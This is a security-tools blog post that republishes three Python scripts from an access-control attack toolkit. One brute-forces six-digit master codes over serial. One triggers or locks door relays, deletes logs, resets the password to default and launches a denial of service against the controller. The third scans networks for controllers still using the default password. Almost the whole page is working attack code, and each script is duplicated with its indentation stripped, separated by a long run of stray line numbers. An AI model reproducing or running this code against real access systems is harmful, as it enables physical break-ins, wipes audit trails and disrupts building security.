ACAT – Access Control Attack Tool. – Security List Network™

ACAT – Access Control Attack Tool.

K-159 / August 7, 2015 / Comments Off / Brute Force, Code Scripting, Denial Of Service/Floods, Networking

This Tools for controlling Access Control Systems
Currently in Proof-of-Concept Mode. All commands are hard coded until taken out of PoC mode.
Script:
+ ACAT – Access Control Attack Tool – Brute Forcer V2
+ ACAT – Access Control Attack Tool – Linear Control V2.2
+ ACAT – Access Control Attack Tool – Detect Linear Controllers

ACAT – Access Control Attack Tool – Brute Forcer V2 script:

#!/usr/bin/python
#################################################################
# ACAT - Access Control Attack Tool - Brute Forcer V2
# By: Dennis Linuz <dennismald@gmail.com>
#
# Tools for controlling Access Control Systems
#
# Todo:
#	- FIX: Make this PEP 0008 compliant
#	- ADD: Confirmation checks for found passwords
#	- ADD: Arguments for starting password
#	- ADD: KeyboardInterrupt exception handling for brute-force
#	- ADD: More Comments
#################################################################

# First party libraries
import binascii
import sys

# Third party
import serial

baudrate = 38400
bruteforce_timeout = 0.1
serial_interface = "COM1"

# Start serial connection on specified interface
ser = serial.Serial(serial_interface, baudrate=baudrate, timeout=bruteforce_timeout)

def generateChecksum(input):
	packet = binascii.a2b_hex(input)
	num = 0
	num2 = 4
	while (num2 < len(packet)-2):
		num3 = int(binascii.b2a_hex(packet[num2]), 16) ^ (255 & num)
		num3 = num3 ^ (255 & num3 << 4)
		num = (num >> 8 ^ num3 << 8 ^ num3 << 3 ^ num3 >> 4)
		num2 = num2 + 1
	return packet[:-2]+binascii.a2b_hex(hex(num)[2:].zfill(4))

def SendCommand(command, len):
	ser.flushInput()
	#ser.write(binascii.a2b_hex("fffa2c6908fff0fffa2c7001fff0"))
	ser.write(generateChecksum(command))
	return ser.read(len)

def BruteForceAttack(codeInput):
	global found_password
	actualCode = str(codeInput).zfill(6)
	print "Guess: " + actualCode
	code = binascii.b2a_hex(actualCode[::-1])
	fullPacket = "5AA5000A1101" + code + "0000"
	ser.write(generateChecksum(fullPacket))
	response = binascii.b2a_hex(ser.readline())
	if response == "5aa50004110c4625":
		print ""
		print "[!] Success!"
		print "[*] Master Code: " + actualCode
		print ""		
		found_password = str(actualCode)
		return 1
	elif not(len(response) == 18):
		return BruteForceAttack(codeInput)

def BruteforcePassword():
	found = 0
	ser.timeout = bruteforce_timeout
	commonCodes = ["123456",
	"654321","000000",
	"111111","222222",
	"444444","555555",
	"666666","777777",
	"888888","999999"]
	for i in commonCodes:
		if BruteForceAttack(i):
			found = 1
			break
	if found == 1:
		return
	print "[!] Not a common code. Brute forcing now..."
	print ""
	for i in range(000000, 999999):
		if BruteForceAttack(i):
			found = 1
			break
	if found == 1:
		return
	print "[!] Code not found. Something must have gone wrong. :("
	print ""


BruteforcePassword()

#!/usr/bin/python

#################################################################

# ACAT - Access Control Attack Tool - Brute Forcer V2

# By: Dennis Linuz <dennismald@gmail.com>

# Tools for controlling Access Control Systems

# Todo:

# - FIX: Make this PEP 0008 compliant

# - ADD: Confirmation checks for found passwords

# - ADD: Arguments for starting password

# - ADD: KeyboardInterrupt exception handling for brute-force

# - ADD: More Comments

#################################################################

# First party libraries

import binascii

import sys

# Third party

import serial

baudrate = 38400

bruteforce_timeout = 0.1

serial_interface = "COM1"

# Start serial connection on specified interface

ser = serial.Serial(serial_interface, baudrate=baudrate, timeout=bruteforce_timeout)

def generateChecksum(input):

packet = binascii.a2b_hex(input)

num = 0

num2 = 4

while (num2 < len(packet)-2):

num3 = int(binascii.b2a_hex(packet[num2]), 16) ^ (255 & num)

num3 = num3 ^ (255 & num3 << 4)

num = (num >> 8 ^ num3 << 8 ^ num3 << 3 ^ num3 >> 4)

num2 = num2 + 1

return packet[:-2]+binascii.a2b_hex(hex(num)[2:].zfill(4))

def SendCommand(command, len):

ser.flushInput()

#ser.write(binascii.a2b_hex("fffa2c6908fff0fffa2c7001fff0"))

ser.write(generateChecksum(command))

return ser.read(len)

def BruteForceAttack(codeInput):

global found_password

actualCode = str(codeInput).zfill(6)

print "Guess: " + actualCode

code = binascii.b2a_hex(actualCode[::-1])

fullPacket = "5AA5000A1101" + code + "0000"

ser.write(generateChecksum(fullPacket))

response = binascii.b2a_hex(ser.readline())

if response == "5aa50004110c4625":

print ""

print "[!] Success!"

print "[*] Master Code: " + actualCode

print ""

found_password = str(actualCode)

return 1

elif not(len(response) == 18):

return BruteForceAttack(codeInput)

def BruteforcePassword():

found = 0

ser.timeout = bruteforce_timeout

commonCodes = ["123456",

"654321","000000",

"111111","222222",

"444444","555555",

"666666","777777",

"888888","999999"]

for i in commonCodes:

if BruteForceAttack(i):

found = 1

break

if found == 1:

return

print "[!] Not a common code. Brute forcing now..."

print ""

for i in range(000000, 999999):

if BruteForceAttack(i):

found = 1

break

if found == 1:

return

print "[!] Code not found. Something must have gone wrong. :("

print ""

BruteforcePassword()

ACAT – Access Control Attack Tool – Linear Control V2.2 Script:

#!/usr/bin/python
#################################################################
# ACAT - Access Control Attack Tool - Linear Control V2.2
# By: Dennis Linuz <dennismald@gmail.com>
#
# Tools for controlling Access Control Systems
# Currently in Proof-of-Concept Mode. All commands are hard coded until taken out of PoC mode
#
# Todo:
#	- FIX: UploadConfig does not work when attacking over the internet
#	- FIX: KeyboardInterrupt not handling properly entirely (Could do with recursive functions)
#	- FIX: Make this PEP 0008 compliant
#	- ADD: Dynamic generation of command strings (removing hard-coded strings)
#	- ADD: Ability to control other nodes in the Linear network
#	- ADD: KeyboardInterrupt exception handling for brute-force (and saving of incremental progress)
#	- ADD: an "all relays" menu item"
#	- ADD: functionality for creating your own entry code
#	- ADD: More error handling (errors on start-up, for example)
#	- ADD: Dependency checks for SOCAT and PySerial
#	- ADD: Menu-item for trying a password
#	- ADD: Check for elevated privileges in Linux/Unix
#	- ADD: Uploading back doors (entry codes, transmitters, etc)
#	- ADD: More Comments
#	- ADD: Listen for Activity from Linear Controller
#	- ADD: Version variable
#################################################################

# First party libraries
import binascii
import os
import subprocess
import sys
import re
import time

# Third party Library
import serial

# Display usage information
def helpText():
	if opsys == 3:
		print ""
		print "Syntax:  ACS.py <Device>"
		print ""
	else:
		print ""
		print "Syntax:  ACS.py <Device> <Host> [port]"
		print "Default port = 4660"
		print ""
	exit()

def getMenuChoice():
	invalidChoice = 1
	while invalidChoice:
		try:
			choice = int(raw_input("> "))
			invalidChoice = 0
		except:
			pass
	return choice

def generateChecksum(input):
	packet = binascii.a2b_hex(input)
	num = 0
	num2 = 4
	while (num2 < len(packet)-2):
		num3 = int(binascii.b2a_hex(packet[num2]), 16) ^ (255 & num)
		num3 = num3 ^ (255 & num3 << 4)
		num = (num >> 8 ^ num3 << 8 ^ num3 << 3 ^ num3 >> 4)
		num2 = num2 + 1
	return packet[:-2]+binascii.a2b_hex(hex(num)[2:].zfill(4))

def SendCommand(command, len):
	#ser.write(binascii.a2b_hex("fffa2c6908fff0fffa2c7001fff0"))
	ser.write(generateChecksum(command))
	return ser.read(len)

def ClearScreen():
	if opsys == 3:
		os.system("cls")
	else:
		os.system("clear")
	
def ExitProgram():
	if not (opsys == 3):
		process.kill()
	ser.close()
	print "Closing..."
	exit()
	
def MainMenu():
	ClearScreen()
	ser.timeout = normal_timeout
	print """
			[!] POC MODE [!]
====================================================================
	ACAT - Access Control Attack Tool - Linear Control V2.2
	By: Dennis Linuz <dennismald@gmail.com>
	
	Main Menu
====================================================================
	1)	Trigger Relays (2 seconds)
	2)	Lock Doors Open
	3)	Lock Doors Closed
	4)	Unlock Relays
	5)	Delete Logs
	6)	Upload Default configuration (replacing password with default)
	7)	NOT IMPLEMENTED YET
	8)	NOT IMPLEMENTED YET
	9)	Denial-of-Service
	10)	Stop Denial-of-Service
	11)	Send raw data
	
	99)	Exit
	"""
	invalidChoice = 1
	choice = getMenuChoice()
	if choice == 1:
		RelayMenu("trigger")
	elif choice == 2:
		RelayMenu("lockopen")	
	elif choice == 3:
		RelayMenu("lockclosed")
	elif choice == 4:
		RelayMenu("unlock")
	elif choice == 5:
		DeleteLogs()
	elif choice == 6:
		UploadConfig()
	elif choice == 7:
		pass
	elif choice == 8:
		pass
	elif choice == 9:
		DOSAttack()
	elif choice == 10:
		StopDOSAttack()
	elif choice == 11:
		SendRawData()
	elif choice == 99:
		ExitProgram()

def RelayMenu(action):
	while 1:
		ClearScreen()
		print """
====================================================================
	ACAT - Access Control Attack Tool - Linear Control V2.2
	By: Dennis Linuz <dennismald@gmail.com>
	
	Choose relays to {}
====================================================================
	1) Relay 1
	2) Relay 2
	3) Relay 3
	4) Relay 4
	98) Back
	
	99) Exit
	""".format(action)
		if message:
			print message
			print ""
		choice = getMenuChoice()
		if choice == 1:
			RelayAction(action,1)
		elif choice == 2:
			RelayAction(action,2)
		elif choice == 3:
			RelayAction(action,3)
		elif choice == 4:
			RelayAction(action,4)
		elif choice == 98:
			return
		elif choice == 99:
			ExitProgram()

def RelayAction(action, relay):
	global message
	ser.timeout = bruteforce_timeout
	if action == "trigger":
		actionValue = 8
		word = "triggered"
	elif action == "lockclosed":
		actionValue = 4
		word = "locked closed"
	elif action == "lockopen":
		actionValue = 2
		word = "locked open"
	elif action == "unlock":
		actionValue = 1
		word = "unlocked"
	if relay == 1:
		position = 17
	elif relay == 2:
		position = 19
	elif relay == 3:
		position = 21
	elif relay == 4:
		position = 23
	command = list("5AA5000A11050100000000000000")
	command[position] = str(actionValue)
	command = ''.join(command)
	SendCommand(command, 1)
	message =  "Relay " + str(relay) + " has been " + word
	return
	
def DeleteLogs():
	print "Deleting logs...."
	SendCommand("5AA5000411040000", 1024)
	SendCommand("5AA50004110C0000", 1024)
	print ""
	print "Logs have been deleted"
	print ""
	raw_input("Press Enter to continue...")
	return

def UploadConfig():
	print "Uploading configuration..."
	SendCommand("5AA5026011870000001000F6003239320002030708024800FE3C027F007F007F007F001000E131323334353631323334353641544830453053303D305130264731372648320520FC415448301420FC4154483014202100FB1F900000020600FB1F500000020600FF1F0300FF020600FF1F0300FF02470002011F00FF04210018200600182006001820060018200600182006001820FE80060400182006001820060018203C00FE0F400CFF0300FE400003FFFF0003FFFF0003FF0300FF400CFF0300FE400003FFFF0003FF08000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF7F007F007F007F007F007F007F007F007F007F007F007F002F00F8526573656172636828203000F84163636573735F411020F84163636573735F421020F84163636573735F431020F84163636573735F441020AF0100000100020003000400050006010700080109010A010B000C010D010E000F0110001101120113011400150116001701180119011A011B011C011D011E011F012000210022002300240025002600270105003F08", 1)
	SendCommand("5AA5000A1105010100000000250B",1)
	print ""
	print "Default password (and other configuration) has been sent"
	print ""
	raw_input("Press Enter to continue...")
	return
	
def DOSAttack():
	print "DOSing the controller..."
	SendCommand("5AA50009110700000000000000", 1)
	print ""
	print "Controller DOSed!"
	print ""
	raw_input("Press Enter to continue...")
	return
	
def StopDOSAttack():
	print "Fixing the controller"
	SendCommand("5AA5000A1105010100000000250B", 1)
	print ""
	print "DOS attack stopped!"
	print ""
	raw_input("Press Enter to continue...")
	return

def SendRawData():
	ClearScreen()
	print """
====================================================================
	ACAT - Access Control Attack Tool - Linear Control V2.2
	By: Dennis Linuz <dennismald@gmail.com>
	
	Send Raw data. Type "q!" to go back to the main menu
====================================================================
	"""
	while 1:
		try:
			data = raw_input("Raw input> ")
			if data == "q!":
				return
			print SendCommand(data, 2048)
		except TypeError as err:
			print err
			print ""

# def DumpConfig():
	# global found_password
	# print "Dumping configuration..."
	# result = SendCommand("5AA5000911030000001000B3F0", 1024)
	# numbers = re.search("\d\d\d\d\d\d\d\d\d\d\d\d", result)
	# if numbers:
		# found_password = numbers.group(0)[:6]
		# print ""
		# print "Master Code: " + numbers.group(0)[:6]
		# print "Priority Access Code: " + numbers.group(0)[6:12]
		# print ""
	# else:
		# print ""
		# print "Nothing found. Perhaps no one has logged into it in a while?"
		# print ""
	# raw_input("Press Enter to continue...")
	# return


# Check operating system (1=Linux, 2=Mac, 3=Windows, 99=Unknown)
if sys.platform == "win32":
	opsys = 3
elif sys.platform == "darwin":
	opsys = 2
elif sys.platform == "linux2":
	opsys = 1
else:
	opsys = 99

# Check Argument syntax
if opsys == 3:
	if not(len(sys.argv) == 2):
		print ""
		print "[!] Invalid arguments"
		helpText()
else:
	if len(sys.argv) < 3:
		print ""
		print "[!] Not enough arguments"
		helpText()
	elif len(sys.argv) == 3:
		port == 4660
	elif len(sys.argv) > 4:
		print ""
		print "[!] Too many arguments"
		helpText()

serial_interface = sys.argv[1]
bruteforce_timeout = 0.1
normal_timeout = 5.0
baudrate = 38400
choice = ""
action = ""
relay = ""
found_password = ""
message = ""
if not opsys == 3:
	host = sys.argv[2]
	port = sys.argv[3]

# Ensure that the port number is valid
if not(opsys == 3):
	try:
		port = int(port)
		if not(port in range(1,65535)):
			print "[!] Port number out of range"
			helpText()
	except:
		print ""
		print "[!] Port not a valid number"
		helpText()


#Start process for socat if not using Windows
if not (opsys == 3):
	process = subprocess.Popen("exec socat PTY,link=" + serial_interface + " TCP:" + host + ":" + str(port), shell=True)
	time.sleep(4)

# Start serial connection on specified interface
ser = serial.Serial(serial_interface, baudrate=baudrate, timeout=normal_timeout)

# Start the program
while 1:
	MainMenu()

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

#!/usr/bin/python

#################################################################

# ACAT - Access Control Attack Tool - Linear Control V2.2

# By: Dennis Linuz <dennismald@gmail.com>

# Tools for controlling Access Control Systems

# Currently in Proof-of-Concept Mode. All commands are hard coded until taken out of PoC mode

# Todo:

# - FIX: UploadConfig does not work when attacking over the internet

# - FIX: KeyboardInterrupt not handling properly entirely (Could do with recursive functions)

# - FIX: Make this PEP 0008 compliant

# - ADD: Dynamic generation of command strings (removing hard-coded strings)

# - ADD: Ability to control other nodes in the Linear network

# - ADD: KeyboardInterrupt exception handling for brute-force (and saving of incremental progress)

# - ADD: an "all relays" menu item"

# - ADD: functionality for creating your own entry code

# - ADD: More error handling (errors on start-up, for example)

# - ADD: Dependency checks for SOCAT and PySerial

# - ADD: Menu-item for trying a password

# - ADD: Check for elevated privileges in Linux/Unix

# - ADD: Uploading back doors (entry codes, transmitters, etc)

# - ADD: More Comments

# - ADD: Listen for Activity from Linear Controller

# - ADD: Version variable

#################################################################

# First party libraries

import binascii

import os

import subprocess

import sys

import re

import time

# Third party Library

import serial

# Display usage information

def helpText():

if opsys == 3:

print ""

print "Syntax: ACS.py <Device>"

print ""

else:

print ""

print "Syntax: ACS.py <Device> <Host> [port]"

print "Default port = 4660"

print ""

exit()

def getMenuChoice():

invalidChoice = 1

while invalidChoice:

try:

choice = int(raw_input("> "))

invalidChoice = 0

except:

pass

return choice

def generateChecksum(input):

packet = binascii.a2b_hex(input)

num = 0

num2 = 4

while (num2 < len(packet)-2):

num3 = int(binascii.b2a_hex(packet[num2]), 16) ^ (255 & num)

num3 = num3 ^ (255 & num3 << 4)

num = (num >> 8 ^ num3 << 8 ^ num3 << 3 ^ num3 >> 4)

num2 = num2 + 1

return packet[:-2]+binascii.a2b_hex(hex(num)[2:].zfill(4))

def SendCommand(command, len):

#ser.write(binascii.a2b_hex("fffa2c6908fff0fffa2c7001fff0"))

ser.write(generateChecksum(command))

return ser.read(len)

def ClearScreen():

if opsys == 3:

os.system("cls")

else:

os.system("clear")

def ExitProgram():

if not (opsys == 3):

process.kill()

ser.close()

print "Closing..."

exit()

def MainMenu():

ClearScreen()

ser.timeout = normal_timeout

print """

[!] POC MODE [!]

====================================================================

ACAT - Access Control Attack Tool - Linear Control V2.2

By: Dennis Linuz <dennismald@gmail.com>

Main Menu

====================================================================

1) Trigger Relays (2 seconds)

2) Lock Doors Open

3) Lock Doors Closed

4) Unlock Relays

5) Delete Logs

6) Upload Default configuration (replacing password with default)

7) NOT IMPLEMENTED YET

8) NOT IMPLEMENTED YET

9) Denial-of-Service

10) Stop Denial-of-Service

11) Send raw data

99) Exit

"""

invalidChoice = 1

choice = getMenuChoice()

if choice == 1:

RelayMenu("trigger")

elif choice == 2:

RelayMenu("lockopen")

elif choice == 3:

RelayMenu("lockclosed")

elif choice == 4:

RelayMenu("unlock")

elif choice == 5:

DeleteLogs()

elif choice == 6:

UploadConfig()

elif choice == 7:

pass

elif choice == 8:

pass

elif choice == 9:

DOSAttack()

elif choice == 10:

StopDOSAttack()

elif choice == 11:

SendRawData()

elif choice == 99:

ExitProgram()

def RelayMenu(action):

while 1:

ClearScreen()

print """

====================================================================

ACAT - Access Control Attack Tool - Linear Control V2.2

By: Dennis Linuz <dennismald@gmail.com>

Choose relays to {}

====================================================================

1) Relay 1

2) Relay 2

3) Relay 3

4) Relay 4

98) Back

99) Exit

""".format(action)

if message:

print message

print ""

choice = getMenuChoice()

if choice == 1:

RelayAction(action,1)

elif choice == 2:

RelayAction(action,2)

elif choice == 3:

RelayAction(action,3)

elif choice == 4:

RelayAction(action,4)

elif choice == 98:

return

elif choice == 99:

ExitProgram()

def RelayAction(action, relay):

global message

ser.timeout = bruteforce_timeout

if action == "trigger":

actionValue = 8

word = "triggered"

elif action == "lockclosed":

actionValue = 4

word = "locked closed"

elif action == "lockopen":

actionValue = 2

word = "locked open"

elif action == "unlock":

actionValue = 1

word = "unlocked"

if relay == 1:

position = 17

elif relay == 2:

position = 19

elif relay == 3:

position = 21

elif relay == 4:

position = 23

command = list("5AA5000A11050100000000000000")

command[position] = str(actionValue)

command = ''.join(command)

SendCommand(command, 1)

message = "Relay " + str(relay) + " has been " + word

return

def DeleteLogs():

print "Deleting logs...."

SendCommand("5AA5000411040000", 1024)

SendCommand("5AA50004110C0000", 1024)

print ""

print "Logs have been deleted"

print ""

raw_input("Press Enter to continue...")

return

def UploadConfig():

print "Uploading configuration..."

SendCommand("5AA5026011870000001000F6003239320002030708024800FE3C027F007F007F007F001000E131323334353631323334353641544830453053303D305130264731372648320520FC415448301420FC4154483014202100FB1F900000020600FB1F500000020600FF1F0300FF020600FF1F0300FF02470002011F00FF04210018200600182006001820060018200600182006001820FE80060400182006001820060018203C00FE0F400CFF0300FE400003FFFF0003FFFF0003FF0300FF400CFF0300FE400003FFFF0003FF08000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF04000CFF7F007F007F007F007F007F007F007F007F007F007F007F002F00F8526573656172636828203000F84163636573735F411020F84163636573735F421020F84163636573735F431020F84163636573735F441020AF0100000100020003000400050006010700080109010A010B000C010D010E000F0110001101120113011400150116001701180119011A011B011C011D011E011F012000210022002300240025002600270105003F08", 1)

SendCommand("5AA5000A1105010100000000250B",1)

print ""

print "Default password (and other configuration) has been sent"

print ""

raw_input("Press Enter to continue...")

return

def DOSAttack():

print "DOSing the controller..."

SendCommand("5AA50009110700000000000000", 1)

print ""

print "Controller DOSed!"

print ""

raw_input("Press Enter to continue...")

return

def StopDOSAttack():

print "Fixing the controller"

SendCommand("5AA5000A1105010100000000250B", 1)

print ""

print "DOS attack stopped!"

print ""

raw_input("Press Enter to continue...")

return

def SendRawData():

ClearScreen()

print """

====================================================================

ACAT - Access Control Attack Tool - Linear Control V2.2

By: Dennis Linuz <dennismald@gmail.com>

Send Raw data. Type "q!" to go back to the main menu

====================================================================

"""

while 1:

try:

data = raw_input("Raw input> ")

if data == "q!":

return

print SendCommand(data, 2048)

except TypeError as err:

print err

print ""

# def DumpConfig():

# global found_password

# print "Dumping configuration..."

# result = SendCommand("5AA5000911030000001000B3F0", 1024)

# numbers = re.search("\d\d\d\d\d\d\d\d\d\d\d\d", result)

# if numbers:

# found_password = numbers.group(0)[:6]

# print ""

# print "Master Code: " + numbers.group(0)[:6]

# print "Priority Access Code: " + numbers.group(0)[6:12]

# print ""

# else:

# print ""

# print "Nothing found. Perhaps no one has logged into it in a while?"

# print ""

# raw_input("Press Enter to continue...")

# return

# Check operating system (1=Linux, 2=Mac, 3=Windows, 99=Unknown)

if sys.platform == "win32":

opsys = 3

elif sys.platform == "darwin":

opsys = 2

elif sys.platform == "linux2":

opsys = 1

else:

opsys = 99

# Check Argument syntax

if opsys == 3:

if not(len(sys.argv) == 2):

print ""

print "[!] Invalid arguments"

helpText()

else:

if len(sys.argv) < 3:

print ""

print "[!] Not enough arguments"

helpText()

elif len(sys.argv) == 3:

port == 4660

elif len(sys.argv) > 4:

print ""

print "[!] Too many arguments"

helpText()

serial_interface = sys.argv[1]

bruteforce_timeout = 0.1

normal_timeout = 5.0

baudrate = 38400

choice = ""

action = ""

relay = ""

found_password = ""

message = ""

if not opsys == 3:

host = sys.argv[2]

port = sys.argv[3]

# Ensure that the port number is valid

if not(opsys == 3):

try:

port = int(port)

if not(port in range(1,65535)):

print "[!] Port number out of range"

helpText()

except:

print ""

print "[!] Port not a valid number"

helpText()

#Start process for socat if not using Windows

if not (opsys == 3):

process = subprocess.Popen("exec socat PTY,link=" + serial_interface + " TCP:" + host + ":" + str(port), shell=True)

time.sleep(4)

# Start serial connection on specified interface

ser = serial.Serial(serial_interface, baudrate=baudrate, timeout=normal_timeout)

# Start the program

while 1:

MainMenu()

ACAT – Access Control Attack Tool – Detect Linear Controllers Script:

import binascii
import socket
import time

device_list = []
linear_controllers = []
#Do not detect our own IP addresses
device_blacklist = ["127.0.0.1", socket.gethostbyname(socket.gethostname()), socket.gethostbyname(socket.getfqdn())]

def locate_devices():
	udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	udp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
	udp_socket.settimeout(5)
	udp_socket.bind(('0.0.0.0', 55954))
	udp_socket.sendto( '0201060092da000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'.decode('hex'), ( "255.255.255.255", 55954 ))
	try:
		while 1:
			msg, addr = udp_socket.recvfrom(1024)
			found_device = str(addr[0])
			if not (found_device in device_blacklist):
				device_blacklist.append(found_device)
				device_list.append(found_device)
				print "[!] Device found at " + found_device
				#print msg
	except socket.timeout:
		udp_socket.close()
		return

def detect_linear(devices):
		for i in devices:
			print "[-] Checking " + i
			try:
				linear_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
				linear_socket.settimeout(5)
				linear_socket.connect((i, 4660))
				linear_socket.send(binascii.a2b_hex("5AA5000A11013635343332319A71"))
				time.sleep(4)
				response = binascii.b2a_hex(linear_socket.recv(1024))
				#print response
				if "5aa50004110c4625" in response:
					print "[!] " + i + " is a Linear Access Controller with the default password!"
					linear_controllers.append(i + "*")
				elif "5aa50005110d024c23" in response:
					print "[!] " + i + " is a Linear Access Controller"
					linear_controllers.append(i)
				elif "5aa50005110d017eb8" in response:
					print "[!] " + i + " is a Linear Access Controller"
					linear_controllers.append(i)
				else:
					print "[-] " + i + " is unknown"
				linear_socket.close()
			except Exception as e:
				print e
				linear_socket.close()
				continue

print """
====================================================================
	ACAT - Access Control Attack Tool - Detect Linear Controllers
	By: Dennis Linuz <dennismald@gmail.com>
====================================================================
"""
locate_devices()
if device_list:
	detect_linear(device_list)
print ""
print "Linear Access Controllers:"
print "~~~~~~~~~~~~~~~~~~~~~~~~~"
for i in linear_controllers:
	print i

import binascii

import socket

import time

device_list = []

linear_controllers = []

#Do not detect our own IP addresses

device_blacklist = ["127.0.0.1", socket.gethostbyname(socket.gethostname()), socket.gethostbyname(socket.getfqdn())]

def locate_devices():

udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

udp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

udp_socket.settimeout(5)

udp_socket.bind(('0.0.0.0', 55954))

udp_socket.sendto( '0201060092da000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'.decode('hex'), ( "255.255.255.255", 55954 ))

try:

while 1:

msg, addr = udp_socket.recvfrom(1024)

found_device = str(addr[0])

if not (found_device in device_blacklist):

device_blacklist.append(found_device)

device_list.append(found_device)

print "[!] Device found at " + found_device

#print msg

except socket.timeout:

udp_socket.close()

return

def detect_linear(devices):

for i in devices:

print "[-] Checking " + i

try:

linear_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

linear_socket.settimeout(5)

linear_socket.connect((i, 4660))

linear_socket.send(binascii.a2b_hex("5AA5000A11013635343332319A71"))

time.sleep(4)

response = binascii.b2a_hex(linear_socket.recv(1024))

#print response

if "5aa50004110c4625" in response:

print "[!] " + i + " is a Linear Access Controller with the default password!"

linear_controllers.append(i + "*")

elif "5aa50005110d024c23" in response:

print "[!] " + i + " is a Linear Access Controller"

linear_controllers.append(i)

elif "5aa50005110d017eb8" in response:

print "[!] " + i + " is a Linear Access Controller"

linear_controllers.append(i)

else:

print "[-] " + i + " is unknown"

linear_socket.close()

except Exception as e:

print e

linear_socket.close()

continue

print """

====================================================================

ACAT - Access Control Attack Tool - Detect Linear Controllers

By: Dennis Linuz <dennismald@gmail.com>

====================================================================

"""

locate_devices()

if device_list:

detect_linear(device_list)

print ""

print "Linear Access Controllers:"

print "~~~~~~~~~~~~~~~~~~~~~~~~~"

for i in linear_controllers:

print i

Source : https://github.com/linuz

Tags: Attack Research, Python Script, Search POC & Exploits

Archives

ACAT – Access Control Attack Tool.